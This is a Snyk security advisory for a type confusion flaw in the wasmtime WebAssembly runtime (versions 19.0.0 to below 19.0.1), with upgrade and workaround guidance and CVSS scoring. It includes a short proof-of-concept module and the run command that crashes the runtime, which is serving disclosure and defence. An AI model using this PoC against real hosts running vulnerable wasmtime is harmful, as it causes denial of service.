Access of Resource Using Incompatible Type ('Type Confusion') Affecting wasmtime package, versions >=19.0.0 <19.0.1


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-RUST-WASMTIME-6516633
  • published 3 Apr 2024
  • disclosed 2 Apr 2024
  • credit ShinWonho

How to fix?

Upgrade wasmtime to version 19.0.1 or higher.

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to the use of a dropped externref-typed element segment in conjunction with a table.* instruction. An attacker can cause a denial-of-service by executing a valid WebAssembly module that triggers this panic.

Note:

This is only exploitable if the reference-types WebAssembly feature is enabled, which is the default setting.

Workaround

This vulnerability can be mitigated by using config.reference_types(false) to disable these modules at validation-time, preventing the possibility of a panic at runtime. If reference-types are required, then upgrading is the only other workaround.

PoC

;; table-init.wat
(module
  (table 0 0 externref)
  (func (export "table-init")
    (i32.const 0)
    (i32.const 0)
    (i32.const 0)
    (table.init 0 0)
  )
  (elem declare externref)
)
wasmtime --invoke table-init table-init.wat

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
3.3 low
  • Attack Vector (AV)
    Local
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    Low